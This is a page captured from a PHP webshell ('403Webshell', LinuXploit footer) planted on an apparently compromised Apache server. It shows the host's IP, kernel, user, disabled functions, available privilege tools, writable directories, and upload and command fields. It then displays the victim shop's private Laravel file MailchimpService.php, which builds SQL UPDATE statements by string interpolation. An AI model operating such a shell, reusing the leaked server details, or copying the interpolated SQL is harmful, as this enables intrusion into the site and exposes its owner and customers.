403Webshell
Server IP : 54.233.248.239  /  Your IP : 172.28.20.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/app/Services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/app/Services/MailchimpService.php
<?php

namespace App\Services;

use DB;
use Sentinel;

use App\Modules\PedidoVenda\Models\PedidoVenda;
use App\Modules\CanalHasOferta\Models\CanalHasOferta;

use Illuminate\Support\Facades\Log;
use App\Services\GeralService;
use Session;
use Exception;

class MailchimpService {

    /**
    * @param $endpoint String 'customers','products','orders','campaigns'
    */
    public static function getCadastro($endpoint, $id = NULL, $store = TRUE){

        try {

            $endpoint = $id == NULL ? $endpoint : "{$endpoint}/{$id}";
            $response = GeralService::callMailchimpAPI($endpoint, [], 'GET', $store);
            return $response;

        } catch (Exception $e) {
            throw new Exception($e->getMessage());
        }

    }

    /**
    * @param $cadastro Object Model Cadastro
    * @param $method String POST - create / PUT - update
    */
    public static function cadastroCliente($cadastro, $method = 'POST'){

        try {

            $body = [
                'id'            => (string) $cadastro->id,
                'email_address' => $cadastro->user->email,
                'opt_in_status' => ($cadastro->receber_novidades == 1 ? true : false),
                'first_name'    => $cadastro->nome,
                'last_name'     => $cadastro->sobrenome
            ];

            $endpoint = $method == 'POST' ? 'customers' : "customers/{$cadastro->id}";
            $response = GeralService::callMailchimpAPI($endpoint, $body, $method);
            Log::info('MailchimpService::cadastroCliente => ' . $cadastro->id);
            Log::info($response);
            return $response;

        } catch (Exception $e) {
            Log::info('MailchimpService::cadastroCliente');
            Log::info("{$cadastro->id} => " . $e->getMessage());
            throw new Exception($e->getMessage());
        }

    }

    /**
    * @param $produto Object Model Produto
    * @param $method String POST - create / PATH - update
    */
    public static function cadastroProduto($produto, $method = 'POST'){

        try {

            $body = [
                'id'        => (string) $produto->id,
                'title'     => $produto->nome,
                'url'       => url('/produto/detalhe/' . $produto->slug),
                'image_url' => $produto->thumbnail_principal,
                'variants'  => [
                    [
                        'id'        => (string) $produto->id,
                        'title'     => $produto->nome,
                        'url'       => url('/produto/detalhe' . $produto->slug),
                        'sku'       => $produto->sku,
                        'price'     => (float) $produto->preco_de_venda,
                        'image_url' => $produto->thumbnail_principal
                    ]
                ]
            ];

            $endpoint = $method == 'POST' ? 'products' : "products/{$produto->id}";
            $response = GeralService::callMailchimpAPI($endpoint, $body, $method);
            Log::info('MailchimpService::cadastroProduto => ' . $produto->id);
            Log::info($response);
            return $response;

        } catch (Exception $e) {
            Log::info('MailchimpService::cadastroProduto');
            Log::info("{$produto->id} => " . $e->getMessage());
            throw new Exception($e->getMessage());
        }

    }

    public static function getTipoCampanha($title){

        $tipo  = 'C';
        $tipoExtenso = ['SOLIDARIO' => 'L', 'DIARIO' => 'D'];
        $tipos = ['D' => 'diaria', 'S' => 'semanal', 'L' => 'solidaria', 'SOLIDARIO' => 'solidario', 'DIARIO' => 'diario'];

        $title = sanitizeString($title);
        $title = strtolower($title);

        foreach ($tipos as $key => $find) {

            $find = sanitizeString($find);
            $find = strtolower($find);

            $pos = strpos($title, $find);
            // Log::info("Key: {$key} | Title: {$title} => Find: {$find} = {$pos}");
            if($pos !== false){
                $tipo = (strlen($key) == 1 ? $key : $tipoExtenso[$key]);
                break;
            }
        }

        return $tipo;
    }

    public static function getDataOferta($date, $tipo){
        $dataOferta = '';
        switch ($tipo) {
            case 'D':
                return $date;
                break;
            case 'S':
                return GeralService::dataOfertaSemana($date);
                break;
            case 'L':
                return GeralService::dataOfertaSolidaria($date);
                break;
            default:
                $dataOferta = '';
                break;
        }
        return $dataOferta;
    }   

    public static function getCampaignOferta($Oferta){

        $campaign_id = false;

        if($Oferta->campaign_id){
            $campaign_id = $Oferta->campaign_id;
        }elseif($Oferta->tipo == 'D' && empty($Oferta->campaign_id)){ //Oferta Diária
            //Busca Campanhas
            $Campanha = MailchimpService::getCadastro('campaigns?since_send_time=' . $Oferta->data . '&sort_field=send_time&sort_dir=ASC', NULL, FALSE);
            $Campanha = json_decode($Campanha);
            if(isset($Campanha->campaigns) && isset($Campanha->campaigns[0])){
                $OfertaTitle = 'DIARIO-' . date('d/m/Y', strtotime($Oferta->data));
                $campaign_id = MailchimpService::buscarMatchCampaign($OfertaTitle, $Campanha->campaigns);
                if(!empty($campaign_id)){
                    $sql = "UPDATE oferta SET campaign_id = '{$campaign_id}' WHERE id = {$Oferta->id}";
                    DB::update($sql);
                }
            }
        }elseif($Oferta->tipo == 'S' && empty($Oferta->campaign_id)){ //Oferta Semanal
            //Busca Campanhas
            $Campanha = MailchimpService::getCadastro('campaigns?since_send_time=' . $Oferta->data . '&sort_field=send_time&sort_dir=ASC', NULL, FALSE);
            $Campanha = json_decode($Campanha);
            if(isset($Campanha->campaigns) && isset($Campanha->campaigns[0])){
                $OfertaTitle = 'SEMANAL-' . date('d/m/Y', strtotime($Oferta->data));
                $campaign_id = MailchimpService::buscarMatchCampaign($OfertaTitle, $Campanha->campaigns, $Oferta->tipo);
                if(!empty($campaign_id)){
                    $sql = "UPDATE oferta SET campaign_id = '{$campaign_id}' WHERE id = {$Oferta->id}";
                    DB::update($sql);
                }
            }
        }elseif($Oferta->tipo == 'L' && empty($Oferta->campaign_id)){ //Oferta Solidária
            //Busca Campanhas
            $Campanha = MailchimpService::getCadastro('campaigns?since_send_time=' . $Oferta->data . '&sort_field=send_time&sort_dir=ASC', NULL, FALSE);
            $Campanha = json_decode($Campanha);
            if(isset($Campanha->campaigns) && isset($Campanha->campaigns[0])){
                $OfertaTitle = 'Oferta Solidária - ' . mes_por_extenso(date('m', strtotime($Oferta->data))) . ' de ' . date('Y', strtotime($Oferta->data));
                $campaign_id = MailchimpService::buscarMatchCampaign($OfertaTitle, $Campanha->campaigns, $Oferta->tipo, 10);
                if(!empty($campaign_id)){
                    $sql = "UPDATE oferta SET campaign_id = '{$campaign_id}' WHERE id = {$Oferta->id}";
                    DB::update($sql);
                }
            }
        }elseif($Oferta->tipo == 'C' && empty($Oferta->campaign_id)){ //Ofertas Canais

            $CanalHasOferta = CanalHasOferta::where('id_oferta', $Oferta->id)->whereRaw('deleted_at IS NULL')->first();

            if(isset($CanalHasOferta->canal) && !empty($CanalHasOferta->canal->mailchimp_campaign_id)){

                $Canal           = $CanalHasOferta->canal;
                $canal_send_time = $Canal->mailchimpCampaign->send_time;

                //Busca Campanhas
                $Campanha = MailchimpService::getCadastro('campaigns?since_send_time=' . date('Y-m-d', strtotime($canal_send_time)) . '&sort_field=send_time&sort_dir=ASC', NULL, FALSE);
                $Campanha = json_decode($Campanha);
                if(isset($Campanha->campaigns) && isset($Campanha->campaigns[0])){
                    $OfertaTitle = $Canal->mailchimpCampaign->title;
                    Log::info("{$OfertaTitle}");
                    $campaign_id = MailchimpService::buscarMatchCampaign($OfertaTitle, $Campanha->campaigns, $Oferta->tipo);
                    if(!empty($campaign_id)){
                        $sql = "UPDATE oferta SET campaign_id = '{$campaign_id}' WHERE EXISTS (SELECT 1 FROM canal_has_oferta cho WHERE cho.id_oferta = oferta.id AND cho.id_canal = {$Canal->id} AND cho.deleted_at IS NULL);";
                        DB::update($sql);
                    }
                }

            }

        }

        return $campaign_id;

    }

    public static function buscarMatchCampaign($OfertaTitle, $campaigns, $tipo='D', $limit = 5){
        $campaign_id = false;
        for($i=0;$i<count($campaigns);$i++){
            if($i>=$limit){ break; }
            $Campaign      = $campaigns[$i];
            $CampaignTitle = $Campaign->settings->title;
            if($tipo == 'D' || $tipo == 'S'){
                $CampaignTitle = str_replace(" ", "", $CampaignTitle);
            }
            Log::info("{$OfertaTitle} => {$CampaignTitle}");
            if($OfertaTitle == $CampaignTitle){
                $campaign_id = $Campaign->id;
                break;
            }
        }
        return $campaign_id;
    }

    /**
    * @param $pedido Object Model PedidoVenda
    * @param $method String POST - create / PATH - update
    */
    public static function cadastroPedido($pedido, $method = 'POST'){

        try {

            $lines         = [];
            $linesCampaign = [];
            $campaign_id   = FALSE;
            $response      = FALSE;
            $ids           = [];
            $status        = TRUE;
            $retorno       = [];
            foreach ($pedido->produtos as $item){

                $campaign_id = MailchimpService::getCampaignOferta($item->oferta);
                $id_store    = "{$pedido->id}-{$item->oferta->tipo}";
                if($item->oferta->tipo == 'C' && isset($item->oferta->canalOferta)){
                    $id_store .= "-{$item->oferta->canalOferta->id_canal}";
                }else{
                    $id_store .= "-{$item->oferta->id}";
                }

                $linesCampaign[$id_store] = ['campaign_id' => $campaign_id];

                $lines[$id_store][] = [
                    'id'                 => (string) $item->id,
                    'product_id'         => (string) $item->id_produto,
                    'product_variant_id' => (string) $item->id_produto,
                    'quantity'           => (int) $item->quantidade,
                    'price'              => (float) $item->valor_total
                ];
            }

            $orders_count = PedidoVenda::select('id')->where('id', '<=', $pedido->id)->where('id_cliente', $pedido->id_cliente)->whereIn('id_status_pedido_venda', [2,3,7])->get();
            $totalSpent   = PedidoVenda::select(DB::raw('SUM(total) AS total'))->where('id', '<=', $pedido->id)->where('id_cliente', $pedido->id_cliente)->whereIn('id_status_pedido_venda', [2,3,7])->first();

            foreach ($lines as $id_store => $dados) {

                $pedidoTotal = 0;
                foreach ($dados as $dado) {
                    $pedidoTotal += $dado['price'];
                }
                
                $body = [
                    'id'            => (string) $id_store,
                    'customer'      => [
                        'id'           => (string) $pedido->id_cliente,
                        'orders_count' => count($orders_count),
                        'total_spent'  => (float) $totalSpent->total
                    ],
                    'processed_at_foreign' => date('Y-m-d', strtotime($pedido->data_fechamento)),
                    'currency_code'        => 'BRL',
                    'order_total'          => (float) $pedidoTotal,
                    'lines'                => $dados
                ];

                $campaign_id = (isset($linesCampaign[$id_store]) ? $linesCampaign[$id_store]['campaign_id'] : false);

                if($campaign_id){
                    $body = array_merge($body, ['campaign_id' => $campaign_id]);
                }

                $ids[] = $id_store;

                $endpoint   = $method == 'POST' ? 'orders' : "orders/{$id_store}";
                $retornoAPI = GeralService::callMailchimpAPI($endpoint, $body, $method);
                $resultado  = json_decode($retornoAPI);
                Log::info('MailchimpService::cadastroPedido => ' . $id_store);
                Log::info($response);
                $retorno[$id_store] = $retornoAPI;
                if(!isset($resultado->id)){
                    $posPedido = strpos($retornoAPI, 'An order with the provided ID already exists');
                    if($posPedido === FALSE){
                        $status = FALSE;
                    }
                }

            }

            return (object)['status' => $status, 'retornoAPI' => $retorno, 'ids' => implode(",", $ids), 'campaigns' => json_encode($linesCampaign)];

        } catch (Exception $e) {
            Log::info('MailchimpService::cadastroPedido');
            Log::info("{$pedido->id} => " . $e->getMessage());
            throw new Exception($e->getMessage());
        }

    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit